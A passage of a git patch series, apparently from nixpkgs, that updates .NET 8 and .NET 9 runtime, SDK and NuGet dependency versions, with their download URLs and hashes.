+        hash = "sha512-kMxr02jsGrcl6egU6ZjDeByl32figzNFwFLtFxBiA7oeiM8CBqx8M/gT0D8xZFQEAtvLi+DTa9j77847LfBNTw==";
       };
       linux-arm64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/8.0.17/dotnet-runtime-8.0.17-linux-arm64.tar.gz";
-        hash = "sha512-5C+8g7+C7kIvF/Hrcu5/T+9sGQSPrqEGBYcVwXX7iKqT+K+02dHfaC0Lz05n8aH0xpz7QtXTxm3YYoqO/ctBEA==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/8.0.18/dotnet-runtime-8.0.18-linux-arm64.tar.gz";
+        hash = "sha512-fZagkKLlbzk/wyOF2hRRU12/Tk2Y7cGSsa5uoNCX5megWYKMfyN1+sa8J1+Nsdg/XNJipx/vbCgkHKriIpuqPw==";
       };
       linux-x64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/8.0.17/dotnet-runtime-8.0.17-linux-x64.tar.gz";
-        hash = "sha512-1XM4i9ZN6xLmRk/GpCQPbtfNHGsXNwCWMEuKwtgAMYw682+BhaO3gK/lKwQYJN7vnTd6lqa67XWcgoOCkFRkmg==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/8.0.18/dotnet-runtime-8.0.18-linux-x64.tar.gz";
+        hash = "sha512-FddUoByTGD6pi9YI8mkRk8hvKE7H/t38gQ+tkZ4ve6INQeHeRXifwdmsn82L6C1Jy4/kxHHeyJL5EnL+ouU/CA==";
       };
       linux-musl-arm = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/8.0.17/dotnet-runtime-8.0.17-linux-musl-arm.tar.gz";
-        hash = "sha512-MHewWpOmltw0lw1ibcafCOFzw1S72XmZFATXmJnEHr8/upiE1CqPhS5IHuhdjKhesq764x+OSusvdpHVHp3z7w==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/8.0.18/dotnet-runtime-8.0.18-linux-musl-arm.tar.gz";
+        hash = "sha512-HFrhWlR+KZEHHzjmn/xwbpP5PCQbvLGJGBV6QttSjV5aHz7eAenPDRcbHzJcvebdN0fELGsLpFvFX5AqlwWkfQ==";
       };
       linux-musl-arm64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/8.0.17/dotnet-runtime-8.0.17-linux-musl-arm64.tar.gz";
-        hash = "sha512-gH6LRXbnGWJAY0nzJQaltKvXKR1L98lR5euA/KzPd8w/G1f+TnEQ0LcWlVTg6JBcSYi7dBfwMJvey8rcquy9Zg==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/8.0.18/dotnet-runtime-8.0.18-linux-musl-arm64.tar.gz";
+        hash = "sha512-PK/rE2xt8uRfad+mQUZgE/Uacw8VQ1SQGwVVJsRNvVHX4AFyaVHRUkU4cGZk56pu9eRRU43bqDF5icIpvoxIWA==";
       };
       linux-musl-x64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/8.0.17/dotnet-runtime-8.0.17-linux-musl-x64.tar.gz";
-        hash = "sha512-6prPLtAa/fUdiQiXboZjXXBOFSSdet5LNrLcifBO247YK0DgUxXOz1/cDpKd006VgPcDeSEprSxc4koDsKYkbg==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/8.0.18/dotnet-runtime-8.0.18-linux-musl-x64.tar.gz";
+        hash = "sha512-qgLhilNFk5IrTwbv0LRHpwFwrXj06jGwiSOSIEPa4bdYAduLBLSdj+JOys9GyFQbsrFGYphgjGRhLpTk0OU2DQ==";
       };
       osx-arm64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/8.0.17/dotnet-runtime-8.0.17-osx-arm64.tar.gz";
-        hash = "sha512-n3f8O0/8yixku23sVpGoNDapoQTSnHGBC1+khTUCbuyx+7x4Ae6XgzNhmPDQj8kts01VkyeMpcE2A1Vthnph3A==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/8.0.18/dotnet-runtime-8.0.18-osx-arm64.tar.gz";
+        hash = "sha512-6nk+JQO0Ds9W0738Dfwh/ImeGKlBRLu1D/ZLPcHzg5KnvS9X9hFw7POv5zO7oPwkxdDgAFe33y2o8m/X9pYSyQ==";
       };
       osx-x64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/8.0.17/dotnet-runtime-8.0.17-osx-x64.tar.gz";
-        hash = "sha512-+vANPgV66ZcfMKKTfDI39so/qUkDK9q5KasLr8mXtCPBglMUCr3/rRa8tFGdSD+4tdCwP+PmPjRwWHmxqNbsOw==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/8.0.18/dotnet-runtime-8.0.18-osx-x64.tar.gz";
+        hash = "sha512-ytzK1CKQwAspFPXxRvZ3eUb5Baf+31WMEE7G7GrDHi407ABp/e7cNX9aaRZeoxvsEZPwJNcG6Shmox7ap02e+w==";
       };
     };
   };
 
   sdk_8_0_1xx = buildNetSdk {
-    version = "8.0.117";
+    version = "8.0.118";
     srcs = {
       linux-arm = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/8.0.117/dotnet-sdk-8.0.117-linux-arm.tar.gz";
-        hash = "sha512-CgzKANmRmMKHWU7s/z1Kxm8yqhhtuDt4gicZu+pnLIdGA66Du6xnsmUXvb0FkZ6fGJE/wX8cwNUa1H2CHicxvg==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/8.0.118/dotnet-sdk-8.0.118-linux-arm.tar.gz";
+        hash = "sha512-MNxznkN2vwScF/GKRDE8noX7TOC4JuTIkKpdsDANghswWPOuXPrhfDeBZ473YQQvjI9m+TEbbIdVAQ9juJGntw==";
       };
       linux-arm64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/8.0.117/dotnet-sdk-8.0.117-linux-arm64.tar.gz";
-        hash = "sha512-m2XhpXkkDlNweYvR2F8+D/5rj+t7bIgyjbkHBq037jjiBDlHRbd4tZ3UHAZMA6N8B/DeU09/D+AR0TDGJjYUig==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/8.0.118/dotnet-sdk-8.0.118-linux-arm64.tar.gz";
+        hash = "sha512-wgnYjvV4QLc2Dnsoylwimz/I/YLT4bDimXMOm4Aav7Slzm9k3GZ9WGbGJEuv4QtKveakv/czvk1M4HkcvexVnA==";
       };
       linux-x64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/8.0.117/dotnet-sdk-8.0.117-linux-x64.tar.gz";
-        hash = "sha512-pnObWHt3axVv/hnSVxGxQSYbe1vs/wDLga7lsvBpT0YAeZxiXrhE1bp0ID3VoSEdw0urYsVJYf5+t6kuGn2/dw==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/8.0.118/dotnet-sdk-8.0.118-linux-x64.tar.gz";
+        hash = "sha512-2vL4BS3M6u0AWW0fiHsxsZky6m/GRHcAb63X69tWW2zKrawrLDjVe6WNbhVrcq2wlKc1CuodUR53rZZ1SDIaaw==";
       };
       linux-musl-arm = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/8.0.117/dotnet-sdk-8.0.117-linux-musl-arm.tar.gz";
-        hash = "sha512-BUD69RdN8N2xb8DlyobhKNDUteSSnfYjpBx2sG8w3UjRENILeFRIBkID404apOcTtlXUKfvNNhf4K2CVxHlANA==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/8.0.118/dotnet-sdk-8.0.118-linux-musl-arm.tar.gz";
+        hash = "sha512-WGhhR5827n4KU7+RS+t6weMYVfHnJmPR1+//JKw47gXMlU19Tv2B4y/oyz2/AINyXkwQ3lr3ajCmlCQxhKWKIA==";
       };
       linux-musl-arm64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/8.0.117/dotnet-sdk-8.0.117-linux-musl-arm64.tar.gz";
-        hash = "sha512-2Rn9gNkGDv4f27BHZU8k3k3DngfQI27My3AfN2R+a1i7QQVXmt2nT5xAkZCK//Wr777DbIG0hYisbRY7IigE6g==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/8.0.118/dotnet-sdk-8.0.118-linux-musl-arm64.tar.gz";
+        hash = "sha512-B2IERPKgrg21B431M6ryjmVZWqYoJBo9bScTPzqeDhlVLNr6TW3EpBfCejTZfqpxUv6TCsOsgS7rYpdDAnT4Zg==";
       };
       linux-musl-x64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/8.0.117/dotnet-sdk-8.0.117-linux-musl-x64.tar.gz";
-        hash = "sha512-8BtBJhZ5lcNSYv/ndp0hymsFWzmIL1zMtoU6wvTDBzYlByDzicy42RQywYLkldWbhrPDbR7facGUJkkmUlsmRw==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/8.0.118/dotnet-sdk-8.0.118-linux-musl-x64.tar.gz";
+        hash = "sha512-6zHGhF86H/XMx7U37cCOtnRRBIUPd+Z1+otVN4A5y7/e3Oy1olcUiJAO2KUTimTj+3MMMFGBbzZqSPmPAKoqMQ==";
       };
       osx-arm64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/8.0.117/dotnet-sdk-8.0.117-osx-arm64.tar.gz";
-        hash = "sha512-asjtVua8XA2rnp11nv37jqtpDknaTzJqple7pPBzINi7VAM/xw01AIdrI9tX2FqmgyXXZlNbkqirJKufSC98ag==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/8.0.118/dotnet-sdk-8.0.118-osx-arm64.tar.gz";
+        hash = "sha512-9oshklflApdjCbtzeUtn8p3ODmlfQFRL0SgnTWQ1yW8TvHv7MolhnNxSuBy3GWA575xRfGsyKHMqo9SR9cy8tg==";
       };
       osx-x64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/8.0.117/dotnet-sdk-8.0.117-osx-x64.tar.gz";
-        hash = "sha512-sOvJ3YuHX8e5TphubByaLVFhPjKXkWMwUITalCNeGXSmFIhSgdgOKCfhXXd1u4u/AAH3dR/mgZH3EL2rJGXl5g==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/8.0.118/dotnet-sdk-8.0.118-osx-x64.tar.gz";
+        hash = "sha512-cXeLlCj2s7Mf2pHlhaIv7aC5VSI77PWQB2d0bpgQIru2MqJrHru9ImaGdFU3aLvbXTJMP1toxwnAYW47jSAVvw==";
       };
     };
     inherit commonPackages hostPackages targetPackages;
diff --git a/pkgs/development/compilers/dotnet/8/deps.json b/pkgs/development/compilers/dotnet/8/deps.json
index f3d7e012a937..96567a9cb61d 100644
--- a/pkgs/development/compilers/dotnet/8/deps.json
+++ b/pkgs/development/compilers/dotnet/8/deps.json
@@ -17,52 +17,64 @@
     "url": "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/45bacae2-5efb-47c8-91e5-8ec20c22b4f8/nuget/v3/flat2/system.reflection.metadata/8.0.0/system.reflection.metadata.8.0.0.nupkg",
     "version": "8.0.0"
   },
+  {
+    "hash": "sha256-yKxo54w5odWT6nPruUVsaX53oPRe+gKzGvLnnxtwP68=",
+    "pname": "System.Text.Json",
+    "url": "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/45bacae2-5efb-47c8-91e5-8ec20c22b4f8/nuget/v3/flat2/system.text.json/8.0.5/system.text.json.8.0.5.nupkg",
+    "version": "8.0.5"
+  },
+  {
+    "hash": "sha256-yKxo54w5odWT6nPruUVsaX53oPRe+gKzGvLnnxtwP68=",
+    "pname": "System.Text.Json",
+    "url": "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/45bacae2-5efb-47c8-91e5-8ec20c22b4f8/nuget/v3/flat2/system.text.json/8.0.5/system.text.json.8.0.5.nupkg",
+    "version": "8.0.5"
+  },
   {
     "pname": "runtime.linux-arm64.Microsoft.NETCore.ILAsm",
-    "sha256": "e177fd7f5ac5d0338b39b1221761a3948a430a9e3fdee53edffd0176435136ce",
-    "url": "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/a65e5cb4-26c0-410f-9457-06db3c5254be/nuget/v3/flat2/runtime.linux-arm64.microsoft.netcore.ilasm/8.0.17-servicing.25266.2/runtime.linux-arm64.microsoft.netcore.ilasm.8.0.17-servicing.25266.2.nupkg",
-    "version": "8.0.17-servicing.25266.2"
+    "sha256": "4a04ce372c8b7d500ae931d2e799a690ef3c5e112ab0576f4f4bc11760001b3a",
+    "url": "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/a65e5cb4-26c0-410f-9457-06db3c5254be/nuget/v3/flat2/runtime.linux-arm64.microsoft.netcore.ilasm/8.0.18-servicing.25311.17/runtime.linux-arm64.microsoft.netcore.ilasm.8.0.18-servicing.25311.17.nupkg",
+    "version": "8.0.18-servicing.25311.17"
   },
   {
     "pname": "runtime.linux-arm64.Microsoft.NETCore.ILDAsm",
-    "sha256": "05f3649e566a64715fcbc54904b050aaff8c3b4fd951679603af2dd1f2684542",
-    "url": "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/a65e5cb4-26c0-410f-9457-06db3c5254be/nuget/v3/flat2/runtime.linux-arm64.microsoft.netcore.ildasm/8.0.17-servicing.25266.2/runtime.linux-arm64.microsoft.netcore.ildasm.8.0.17-servicing.25266.2.nupkg",
-    "version": "8.0.17-servicing.25266.2"
+    "sha256": "5c8a30ac0739c50361c6a1fda63ffb1e71ce5f6a7ebeaac022122bc9efb66b02",
+    "url": "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/a65e5cb4-26c0-410f-9457-06db3c5254be/nuget/v3/flat2/runtime.linux-arm64.microsoft.netcore.ildasm/8.0.18-servicing.25311.17/runtime.linux-arm64.microsoft.netcore.ildasm.8.0.18-servicing.25311.17.nupkg",
+    "version": "8.0.18-servicing.25311.17"
   },
   {
-    "hash": "sha256-otVdsOqE7P6o1rWd1vda3Qvy6IdPLHaYx9C2Od9GkPs=",
+    "hash": "sha256-qXzB3wIj7A8tYHmtMzwSaRWy5aUQZLJ81s2ffVQVD/s=",
     "pname": "runtime.linux-x64.Microsoft.NETCore.ILAsm",
-    "url": "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/a65e5cb4-26c0-410f-9457-06db3c5254be/nuget/v3/flat2/runtime.linux-x64.microsoft.netcore.ilasm/8.0.17-servicing.25266.2/runtime.linux-x64.microsoft.netcore.ilasm.8.0.17-servicing.25266.2.nupkg",
-    "version": "8.0.17-servicing.25266.2"
+    "url": "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/a65e5cb4-26c0-410f-9457-06db3c5254be/nuget/v3/flat2/runtime.linux-x64.microsoft.netcore.ilasm/8.0.18-servicing.25311.17/runtime.linux-x64.microsoft.netcore.ilasm.8.0.18-servicing.25311.17.nupkg",
+    "version": "8.0.18-servicing.25311.17"
   },
   {
-    "hash": "sha256-MW+OmpBFpT67jnTfPuFMZKv8b0+jqXKn9UR+a6LI6FY=",
+    "hash": "sha256-GHiOauxw/xveX0J+oH9Ww+zUFGk+ZrXdNZbfovNBnQ4=",
     "pname": "runtime.linux-x64.Microsoft.NETCore.ILDAsm",
-    "url": "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/a65e5cb4-26c0-410f-9457-06db3c5254be/nuget/v3/flat2/runtime.linux-x64.microsoft.netcore.ildasm/8.0.17-servicing.25266.2/runtime.linux-x64.microsoft.netcore.ildasm.8.0.17-servicing.25266.2.nupkg",
-    "version": "8.0.17-servicing.25266.2"
+    "url": "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/a65e5cb4-26c0-410f-9457-06db3c5254be/nuget/v3/flat2/runtime.linux-x64.microsoft.netcore.ildasm/8.0.18-servicing.25311.17/runtime.linux-x64.microsoft.netcore.ildasm.8.0.18-servicing.25311.17.nupkg",
+    "version": "8.0.18-servicing.25311.17"
   },
   {
     "pname": "runtime.osx-arm64.Microsoft.NETCore.ILAsm",
-    "sha256": "b4ebae53b0ba10d1ebd101a3c74cca4e101f3f22edd6ace039d16c1a3b8516ee",
-    "url": "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/a65e5cb4-26c0-410f-9457-06db3c5254be/nuget/v3/flat2/runtime.osx-arm64.microsoft.netcore.ilasm/8.0.17-servicing.25266.2/runtime.osx-arm64.microsoft.netcore.ilasm.8.0.17-servicing.25266.2.nupkg",
-    "version": "8.0.17-servicing.25266.2"
+    "sha256": "525755b60cdfd2a98b2a91ec8f53664a8737bcc95bb9d5738d05c78299fc10b6",
+    "url": "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/a65e5cb4-26c0-410f-9457-06db3c5254be/nuget/v3/flat2/runtime.osx-arm64.microsoft.netcore.ilasm/8.0.18-servicing.25311.17/runtime.osx-arm64.microsoft.netcore.ilasm.8.0.18-servicing.25311.17.nupkg",
+    "version": "8.0.18-servicing.25311.17"
   },
   {
     "pname": "runtime.osx-arm64.Microsoft.NETCore.ILDAsm",
-    "sha256": "589ca009f3dbe27d7d96e64fab6b2f5fc6c04c2ce84454a65333f52d84efe117",
-    "url": "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/a65e5cb4-26c0-410f-9457-06db3c5254be/nuget/v3/flat2/runtime.osx-arm64.microsoft.netcore.ildasm/8.0.17-servicing.25266.2/runtime.osx-arm64.microsoft.netcore.ildasm.8.0.17-servicing.25266.2.nupkg",
-    "version": "8.0.17-servicing.25266.2"
+    "sha256": "cddd638440589ab9af585ae9399cf36eeadf4a6900c8a4748aa31300426e6136",
+    "url": "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/a65e5cb4-26c0-410f-9457-06db3c5254be/nuget/v3/flat2/runtime.osx-arm64.microsoft.netcore.ildasm/8.0.18-servicing.25311.17/runtime.osx-arm64.microsoft.netcore.ildasm.8.0.18-servicing.25311.17.nupkg",
+    "version": "8.0.18-servicing.25311.17"
   },
   {
     "pname": "runtime.osx-x64.Microsoft.NETCore.ILAsm",
-    "sha256": "e093837ba7ef8e1d4f3a15e6079911850c72e51f5cfc0641cedb13a4eff846d2",
-    "url": "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/a65e5cb4-26c0-410f-9457-06db3c5254be/nuget/v3/flat2/runtime.osx-x64.microsoft.netcore.ilasm/8.0.17-servicing.25266.2/runtime.osx-x64.microsoft.netcore.ilasm.8.0.17-servicing.25266.2.nupkg",
-    "version": "8.0.17-servicing.25266.2"
+    "sha256": "682ac10e34c8b4e011be271da3af047b8e282a7a4c5d28f71e6a63690717bcec",
+    "url": "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/a65e5cb4-26c0-410f-9457-06db3c5254be/nuget/v3/flat2/runtime.osx-x64.microsoft.netcore.ilasm/8.0.18-servicing.25311.17/runtime.osx-x64.microsoft.netcore.ilasm.8.0.18-servicing.25311.17.nupkg",
+    "version": "8.0.18-servicing.25311.17"
   },
   {
     "pname": "runtime.osx-x64.Microsoft.NETCore.ILDAsm",
-    "sha256": "322f70cf8d23ca01636a02539a2b03d29230352786b09301d0fd6e4e0c5aae3c",
-    "url": "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/a65e5cb4-26c0-410f-9457-06db3c5254be/nuget/v3/flat2/runtime.osx-x64.microsoft.netcore.ildasm/8.0.17-servicing.25266.2/runtime.osx-x64.microsoft.netcore.ildasm.8.0.17-servicing.25266.2.nupkg",
-    "version": "8.0.17-servicing.25266.2"
+    "sha256": "c92792036d28f0628d2025cc425868165f8207eb6bf37985e8e222647a0958b5",
+    "url": "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/a65e5cb4-26c0-410f-9457-06db3c5254be/nuget/v3/flat2/runtime.osx-x64.microsoft.netcore.ildasm/8.0.18-servicing.25311.17/runtime.osx-x64.microsoft.netcore.ildasm.8.0.18-servicing.25311.17.nupkg",
+    "version": "8.0.18-servicing.25311.17"
   }
 ]
diff --git a/pkgs/development/compilers/dotnet/8/release-info.json b/pkgs/development/compilers/dotnet/8/release-info.json
index 02aa8d845128..f2acb9f91e04 100644
--- a/pkgs/development/compilers/dotnet/8/release-info.json
+++ b/pkgs/development/compilers/dotnet/8/release-info.json
@@ -1,5 +1,5 @@
 {
-  "tarballHash": "sha256-RVXgFRVTdQ3jhPI1AGoikK56b7ZNQj3GB0Cm+7ynf9M=",
-  "artifactsUrl": "https://builds.dotnet.microsoft.com/source-built-artifacts/assets/Private.SourceBuilt.Artifacts.8.0.117-servicing.25269.1.centos.9-x64.tar.gz",
-  "artifactsHash": "sha256-aTIMtLGeRxTdY8laeBqmV9HEgbwcCObYV1S3tHt+hS8="
+  "tarballHash": "sha256-dWbEZU4vKtXgV6ZIM6A7TQ2mjBsgEqvJKKQGgzsDdoA=",
+  "artifactsUrl": "https://builds.dotnet.microsoft.com/source-built-artifacts/assets/Private.SourceBuilt.Artifacts.8.0.118-servicing.25323.1.centos.9-x64.tar.gz",
+  "artifactsHash": "sha256-XYOEoTc9Etjs7upJPFVFogzxBIKQfU0H7xCFjEu3Q9Q="
 }
diff --git a/pkgs/development/compilers/dotnet/8/release.json b/pkgs/development/compilers/dotnet/8/release.json
index ea50ea951114..bfa46d13faff 100644
--- a/pkgs/development/compilers/dotnet/8/release.json
+++ b/pkgs/development/compilers/dotnet/8/release.json
@@ -1,10 +1,10 @@
 {
-  "release": "8.0.18",
+  "release": "8.0.19",
   "channel": "8.0",
-  "tag": "v8.0.18",
-  "sdkVersion": "8.0.118",
-  "runtimeVersion": "8.0.18",
-  "aspNetCoreVersion": "8.0.18",
+  "tag": "v8.0.119",
+  "sdkVersion": "8.0.119",
+  "runtimeVersion": "8.0.19",
+  "aspNetCoreVersion": "8.0.19",
   "sourceRepository": "https://github.com/dotnet/dotnet",
-  "sourceVersion": "f4d2dc9c002dee003c875b89729d1ce958c24a9e"
+  "sourceVersion": "8495bde0fe309967f88de93e358d6b6166ed47f8"
 }

From 72ac545c716ad3005fe527b0622650cb4e23b9f8 Mon Sep 17 00:00:00 2001
From: David McFarland <corngood@gmail.com>
Date: Wed, 6 Aug 2025 13:37:38 +0000
Subject: [PATCH 3392/4511] dotnetCorePackages.dotnet_9.vmr: 9.0.7 -> 9.0.8

(cherry picked from commit 283f9c0ab16f4039f9d93142655fa55bb37dd559)
---
 .../compilers/dotnet/9/bootstrap-sdk.nix      | 376 +++++++++---------
 pkgs/development/compilers/dotnet/9/deps.json |  48 +--
 .../compilers/dotnet/9/release-info.json      |   6 +-
 .../compilers/dotnet/9/release.json           |  12 +-
 4 files changed, 221 insertions(+), 221 deletions(-)

diff --git a/pkgs/development/compilers/dotnet/9/bootstrap-sdk.nix b/pkgs/development/compilers/dotnet/9/bootstrap-sdk.nix
index 10778a6c79eb..75a530ed8136 100644
--- a/pkgs/development/compilers/dotnet/9/bootstrap-sdk.nix
+++ b/pkgs/development/compilers/dotnet/9/bootstrap-sdk.nix
@@ -11,28 +11,28 @@ let
   commonPackages = [
     (fetchNupkg {
       pname = "Microsoft.AspNetCore.App.Ref";
-      version = "9.0.5";
-      hash = "sha512-npNR7X56F/j6xczrnBrWGUkvd/gaFU0CaLswiMQbGnIi1MYJ2woFPiLe7bJnlL2xhLYlpgob6o4Cu6oY7N5uzg==";
+      version = "9.0.7";
+      hash = "sha512-id6IbzqA6pn5TIbYABSCXpPeNwxUGZuMHbMnjeMs+GQIMFFf2Yr5BUy2kigmXoBtgx8RYHDT3PzOrRvcfX908A==";
     })
     (fetchNupkg {
       pname = "Microsoft.NETCore.DotNetAppHost";
-      version = "9.0.5";
-      hash = "sha512-mVdknn4KHJG9tfUPpwDf2/kYXi5nA43FsOFBYJEwxgv5+lsKRXV+0hMhXHHItSHwWv6l3KxKhXWzBIXdC85Aew==";
+      version = "9.0.7";
+      hash = "sha512-TeNH3NfbaRL2t1vTSwK1nR41if3XBsvxIXl5XDeVBKp9uJ++D9S98KkNEAUAJLyV+6AZGgcDPlDSG5KjiZZ4vg==";
     })
     (fetchNupkg {
       pname = "Microsoft.NETCore.App.Ref";
-      version = "9.0.5";
-      hash = "sha512-L/1jHi6pAYF68CUlwlAl27IWrVECmIb3VnDC8oWtEVCBsvFdrt+tjG5SJHGOHVfnNlDvC8dGAg5CNHQB19/GFQ==";
+      version = "9.0.7";
+      hash = "sha512-spN1zg0NHM482nnpPzXZYJKgxT+A44KLSswXbsTf+bDWdoZpMeBcODz3pNAz2Fg5PIcpR6amQgTy/G0JHoDqrw==";
     })
     (fetchNupkg {
       pname = "Microsoft.DotNet.ILCompiler";
-      version = "9.0.5";
-      hash = "sha512-u4CoDTKdSfJFso3oje/YhLxEbwHz6OsBnupzSNXwetmdC58REHsNHfEXiEOoDh8eyc/MXNBrkUjX4kPQuiSSOw==";
+      version = "9.0.7";
+      hash = "sha512-SiLChOzRKjrQHquCUytslPdSTgzUV8VHIvT7bertBM7BaidvQDfkl+0O7zrdxEUeN8ppHAsV1ZP+l5tPZiHv8w==";
     })
     (fetchNupkg {
       pname = "Microsoft.NET.ILLink.Tasks";
-      version = "9.0.5";
-      hash = "sha512-bMyx4wFS2+u32e6rhVJ1qbSvhiWw/Qd1AB2Nd9BcQYJHMcwPAfLSvmUJHltzKaFurGDRKDCzm1Kvf/72VRpwsA==";
+      version = "9.0.7";
+      hash = "sha512-Y1X3qXOXHD22H1IAFk8BRFehz48zEkiZr/xdQ0eop3xVFvkiSitzVGhGTsE5cA3JG1/5lItxqJLozjnf1RsNVw==";
     })
   ];
 
@@ -40,118 +40,118 @@ let
     linux-arm = [
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Crossgen2.linux-arm";
-        version = "9.0.5";
-        hash = "sha512-lVHFQ8K2gcq5xN+mrzMBuE1FFsDOVrwnzfaGneSZr9aBt6pFHiMpa3B/IN04NcnV2ZEt93qnsj9QsxU3F5cxaw==";
+        version = "9.0.7";
+        hash = "sha512-0hSN5Dz16LRR+ddZh7NjEqOEYsj1Ba07/Ouo9HbUrT6/PJ1XtsK1tdpwoJJgrpKrw+n6JyqpaMKpS4f9oNYNhA==";
       })
     ];
     linux-arm64 = [
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Crossgen2.linux-arm64";
-        version = "9.0.5";
-        hash = "sha512-e2BdyeR5hL5tyTUY2b0LmRPVB5NZ/ioCVVbN+G7ZpxufulVdvHGR12SrweElzipvT1hUSse71RjO2UB3nxjurg==";
+        version = "9.0.7";
+        hash = "sha512-wuO6tQcWJj1GKWXpPhoFvobx99K0xy0C1Z8ZACvHhRuWoN1CKfPzC5vU2w/9zCCbLR9iDWYrcC0VdrduMJ+BOQ==";
       })
       (fetchNupkg {
         pname = "runtime.linux-arm64.Microsoft.DotNet.ILCompiler";
-        version = "9.0.5";
-        hash = "sha512-X5jO/py3v/DcQO4P5TknH++LPHcjheooI8fDCm3KQXejUaVMv3GXFbeWtlpoBjbmhchS95Ye87OooPsLDTOntQ==";
+        version = "9.0.7";
+        hash = "sha512-MSJVLRiLk+L3NjJBx5sn8tZVEGCppOapb6Zie8nebplwo1ifRtcIf6BDRVSv8V9wBh3uI38jJOQwhcqLUY2ehw==";
       })
     ];
     linux-x64 = [
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Crossgen2.linux-x64";
-        version = "9.0.5";
-        hash = "sha512-sO9udn058dZbRQbNq1oKILhQ18cCZXOa6DLh9JgLqA9baoUfY5OfZNJfmS/kfOILKbCUrZ6WTtHMgZ7ycPN0/g==";
+        version = "9.0.7";
+        hash = "sha512-aW8mtPF46qa4i+GrHv8OUiPam/x4xYGOUKt/pUPIFz9j9SMrKXgw0mHK/H+j2qHknN4Ozy6OtcTUxpIdxkmw6g==";
       })
       (fetchNupkg {
         pname = "runtime.linux-x64.Microsoft.DotNet.ILCompiler";
-        version = "9.0.5";
-        hash = "sha512-EAWf5+sR/zL7che2L5IrQTpjBjw/n1ZOFSebZauy0E4sHMFLJSb8KgWXzQG4wN5juTJbMseiU8VbNOS3tnXDLw==";
+        version = "9.0.7";
+        hash = "sha512-9Ihz6lNAQ9IyiGNSD9fGMKYv+0NQQqAZVpn/GbHpTRIlC4ULGELRcHerEP29D2r1ugtZPyrtR2s8EAmMA42MdQ==";
       })
     ];
     linux-musl-arm = [
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Crossgen2.linux-musl-arm";
-        version = "9.0.5";
-        hash = "sha512-ou/tAJJiTz8RkcGmSoHi22LSrjJL34GicrARl5WR84cVxVmPKjinwbO/6ys5UmHqg7dlSsZXretTdWfu9EdVhQ==";
+        version = "9.0.7";
+        hash = "sha512-L52p4oNNHR31GlGLgxekjOUM8EL0i1g+X/RRBFvaUdgCy9Uo1RCpsWX3aKaY2Ca93H3aa8wQBsMFCk/3HG9vDQ==";
       })
     ];
     linux-musl-arm64 = [
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Crossgen2.linux-musl-arm64";
-        version = "9.0.5";
